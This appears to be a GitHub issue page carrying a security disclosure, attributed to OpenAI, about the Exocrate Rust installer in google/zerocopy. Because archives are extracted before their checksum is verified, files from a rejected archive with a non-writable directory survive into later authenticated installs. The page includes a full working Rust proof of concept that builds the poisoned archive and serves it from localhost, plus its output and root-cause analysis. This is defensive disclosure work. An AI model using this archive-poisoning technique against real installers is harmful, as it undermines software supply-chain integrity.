Security Advisory: Rejected Exocrate archives leave attacker files in later authenticated installations
- Dominant language
- Rust
- Stars
- 2.6k
- Forks
- 179
- Avg merge
- 1d 19h
- Merged PRs (30d)
- 29
Description
*The following was reported by OpenAI via email:*
- **Vulnerability Type:** Installation integrity violation / persistent denial of service
- **Affected Software:** Exocrate
- **Date:** September 2026
- **Discoverer:** OpenAI (OutboundDisclosures@openai.com)
## Summary
An attacker who temporarily controls the contents served by Exocrate's configured distribution origin can leave files in an installation even after its pinned checksum rejects the malicious archive. When the user later retries against an authentic archive, Exocrate can report a successful installation containing both the authenticated files and files retained from the rejected download.
Exocrate extracts archives before validating their SHA-256 hashes. A malicious archive can create a nonempty directory without owner write permission, preventing an ordinary unprivileged process from deleting its contents. Both the failure cleanup and the next attempt ignore deletion errors. The next download is extracted into the remaining staging tree, which is promoted into the installation if that download has the correct checksum. The final hash authenticates the new input stream, not the residual files in the directory.
This is a security vulnerability affecting installation integrity. The same failure can prevent subsequent authentic installations from succeeding. We have not demonstrated execution of attacker code or a memory-safety violation; further compromise depends on whether a consuming tool loads, searches, or executes the retained files.
**Affected version:** We verified Exocrate `0.1.0` at google/zerocopy revision `2dad389b030e9268d6645ac0bf0626b867e96068` through a Cargo Git dependency. The full reproduction below generated its own lockfile and resolved `tar 0.4.46`, `ureq 3.4.0`, and `zstd 0.13.3`. We have not exhaustively tested other revisions.
**Environment:** macOS arm64 (`aarch64-apple-darwin`), Rust/Cargo 1.98.1 (`rustc 48a229cea`), running as an unprivileged user. The cleanup failure requires filesystem permissions to be enforced against the installing process; running as root is not an equivalent test. Linux and Windows behavior was not validated.
**Threat model:** The attacker controls bytes returned by the configured distribution origin or CDN, while the application, configured URL, and expected SHA-256 remain trusted. The attacker does not need local filesystem access. After a rejected malicious download, the origin serves the authentic archive and the user retries. A passive network observer cannot substitute bytes on an uncompromised HTTPS connection. Anneal V1 uses this Exocrate installation path with HTTPS release URLs and pinned hashes; exploitation does not require changing those hashes.
## Sketch of the attack
```text
Trusted configuration: expected SHA-256 of the authentic archive.
First download, controlled by the attacker:
unexpected/marker.txt contains attacker bytes
unexpected/ mode 0555; readable, but not writable
Exocrate extracts the archive, then rejects its checksum.
Cleanup cannot unlink marker.txt from the non-writable directory.
Second download, the authentic archive:
official.txt contains the expected trusted bytes
Cleanup fails again, but Exocrate reuses the staging tree.
The authentic archive's checksum passes and installation succeeds.
The installed tree also contains unexpected/marker.txt.
```
The authentic archive must not require a write into the protected directory before extraction completes. If it does, the leftover directory can instead cause a persistent installation failure.
## Full repro
This example uses a localhost HTTP server as a controlled stand-in for the distribution origin. It exercises the public `Source::Remote` API twice with the same URL and expected checksum. Both archives contain inert text; no downloaded file is executed.
Use an ordinary, non-root user on a filesystem with Unix-style permissions. A native C compiler is required to build the dependencies.
Save the following as `exocrate-repro/Cargo.toml`:
```toml
[package]
name = "exocrate-disclosure-repro"
version = "0.0.0"
edition = "2024"
publish = false
[dependencies]
exocrate = { git = "https://github.com/google/zerocopy.git", rev = "2dad389b030e9268d6645ac0bf0626b867e96068", package = "exocrate" }
sha2 = "=0.10.9"
tar = "=0.4.46"
tempfile = "=3.27.0"
zstd = "=0.13.3"
```
Save the following as `exocrate-repro/src/main.rs`:
```rust
#![forbid(unsafe_code)]
use std::io::{Read, Write};
use std::net::TcpListener;
use std::os::unix::fs::PermissionsExt;
use std::time::Duration;
use exocrate::{Config, Location, RemoteArchive, ResolvedOrInstalled, Source};
use sha2::{Digest, Sha256};
fn make_archive(poison: bool) -> Vec {
let encoder = zstd::stream::write::Encoder::new(Vec::new(), 3).unwrap();
let mut tar = tar::Builder::new(encoder);
let (path, contents) = if poison {
("unexpected/marker.txt", "UNVERIFIED REMOTE MARKER")
} else {
("official.txt", "authenticated expected contents")
};
let mut file = tar::Header::new_gnu();
file.set_size(contents.len() as u64);
file.set_mode(0o600);
file.set_cksum();
tar.append_data(&mut file, path, contents.as_bytes())
.unwrap();
if poison {
let mut directory = tar::Header::new_gnu();
directory.set_entry_type(tar::EntryType::Directory);
directory.set_size(0);
directory.set_mode(0o555);
directory.set_cksum();
tar.append_data(&mut directory, "unexpected", std::io::empty())
.unwrap();
}
tar.into_inner().unwrap().finish().unwrap()
}
fn main() {
let valid = make_archive(false);
let expected_sha256: [u8; 32] = Sha256::digest(&valid).into();
let malicious = make_archive(true);
println!("malicious_compressed_bytes={}", malicious.len());
let temp = tempfile::tempdir().unwrap();
let root = temp.path().to_owned();
let staged_directory = root.join("tool/v1.staging/unexpected");
let installed_directory = root.join("tool/v1/unexpected");
let listener = TcpListener::bind("127.0.0.1:0").unwrap();
let addr = listener.local_addr().unwrap();
let url: &'static str = Box::leak(format!("http://{addr}/archive.tar.zst").into_boxed_str());
let server = std::thread::spawn(move || {
for archive in [malicious, valid] {
let (mut socket, _) = listener.accept().unwrap();
socket
.set_read_timeout(Some(Duration::from_secs(10)))
.unwrap();
let mut request = Vec::new();
let mut byte = [0];
while !request.ends_with(b"\r\n\r\n") {
socket.read_exact(&mut byte).unwrap();
request.push(byte[0]);
assert!(request.len() < 8192);
}
write!(
socket,
"HTTP/1.1 200 OK\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
archive.len()
)
.unwrap();
socket.write_all(&archive).unwrap();
}
});
let config = Config::new(&["tool"], "v1");
let first = config.resolve_installation_dir_or_install(
Location::Custom(root.clone()),
Source::Remote(RemoteArchive {
url,
sha256: expected_sha256,
}),
);
println!("first_download_result={first:?}");
println!(
"unverified_file_survived_rejection={}",
staged_directory.join("marker.txt").exists()
);
let second = config.resolve_installation_dir_or_install(
Location::Custom(root),
Source::Remote(RemoteArchive {
url,
sha256: expected_sha256,
}),
);
println!(
"subsequent_authentic_download_status={:?}",
second.as_ref().map(|(_, status)| *status)
);
let marker = std::fs::read_to_string(installed_directory.join("marker.txt"));
println!("contents_of_unexpected_file_after_success={marker:?}");
// Restore the local test directory's permissions before cleanup.
let permission_path = if installed_directory.exists() {
&installed_directory
} else {
&staged_directory
};
std::fs::set_permissions(permission_path, std::fs::Permissions::from_mode(0o755)).unwrap();
server.join().unwrap();
assert_eq!(first.unwrap_err().to_string(), "SHA-256 hash mismatch");
let (installed, status) = second.unwrap();
assert_eq!(status, ResolvedOrInstalled::NewlyInstalled);
assert_eq!(marker.unwrap(), "UNVERIFIED REMOTE MARKER");
assert_eq!(
std::fs::read_to_string(installed.join("official.txt")).unwrap(),
"authenticated expected contents"
);
}
```
Run:
```sh
cargo +stable generate-lockfile --manifest-path exocrate-repro/Cargo.toml
cargo +stable run --locked --manifest-path exocrate-repro/Cargo.toml
```
The program itself makes only localhost requests, restores the test directory's write permission, and removes the temporary installation on exit. It produced the following program output in the tested environment:
```text
malicious_compressed_bytes=143
first_download_result=Err(Custom { kind: InvalidData, error: "SHA-256 hash mismatch" })
unverified_file_survived_rejection=true
subsequent_authentic_download_status=Ok(NewlyInstalled)
contents_of_unexpected_file_after_success=Ok("UNVERIFIED REMOTE MARKER")
```
The assertion on `official.txt` verifies that the authentic archive was also installed. The attacker marker is absent from that archive; it reached the final installation solely through failed cleanup and staging reuse. The reproduction contains no caller-side unsafe Rust.
We also validated another consequence of the same pre-verification extraction path. A 133-byte archive with a mode-000 `bin` directory was rejected for a bad checksum, but its residue caused the next authentic download to fail with `PermissionDenied`; repairing the directory's permission allowed that identical authentic archive to install. This is a related effect of the staging flaw, not a separate claim of code execution.
## Root cause
The Exocrate links below refer to google/zerocopy revision `2dad389b030e9268d6645ac0bf0626b867e96068`. The tar links refer to the source revision packaged as `tar 0.4.46`.
1. [`install` unpacks before checking the expected SHA-256](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/exocrate/src/lib.rs#L407-L431). The hashing reader observes the compressed bytes while the decoder and tar extractor have already acted on them.
2. [Tar defers directory entries until other entries have been extracted](https://github.com/composefs/tar-rs/blob/fc459c149f83bf4daceaa52e17d351989002e1a9/src/archive.rs#L232-L258), then [applies the archive's directory permissions](https://github.com/composefs/tar-rs/blob/fc459c149f83bf4daceaa52e17d351989002e1a9/src/entry.rs#L499-L509). This lets an archive populate a directory before making it non-writable. No traversal bypass is needed; all writes remain within Exocrate's staging directory.
3. [The staging guard ignores `remove_dir_all` errors on failure](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/exocrate/src/sync.rs#L104-L109). A checksum error therefore does not imply that the rejected contents have been removed.
4. [The next attempt also ignores cleanup failure and proceeds into the existing tree](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/exocrate/src/sync.rs#L123-L129). When the new archive's checksum passes, the rename promotes both its contents and the retained attacker files.
5. [Anneal V1's setup command calls this public installation API](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/anneal/v1/src/setup.rs#L109-L121), using [configured release archives and SHA-256 hashes](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/anneal/v1/Cargo.toml#L26-L41).
Verifying a separately downloaded archive before extraction and using a fresh private staging directory for each attempt would prevent rejected archive contents from entering the next installation. A failed cleanup must not authorize extraction into the remaining tree.
## Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Contributor guide
Research direction
Start with exocrate/src/lib.rs at install and exocrate/src/sync.rs at the staging cleanup paths, then run the Cargo reproduction described in the issue as an unprivileged user. Trace how extraction, checksum validation, cleanup errors, and staging reuse interact. Done means a rejected archive cannot affect a later authenticated installation or leave it unable to proceed.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- rust
- Domain
- security, tooling
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Mostly clear
- Newbie friendliness
- 48/100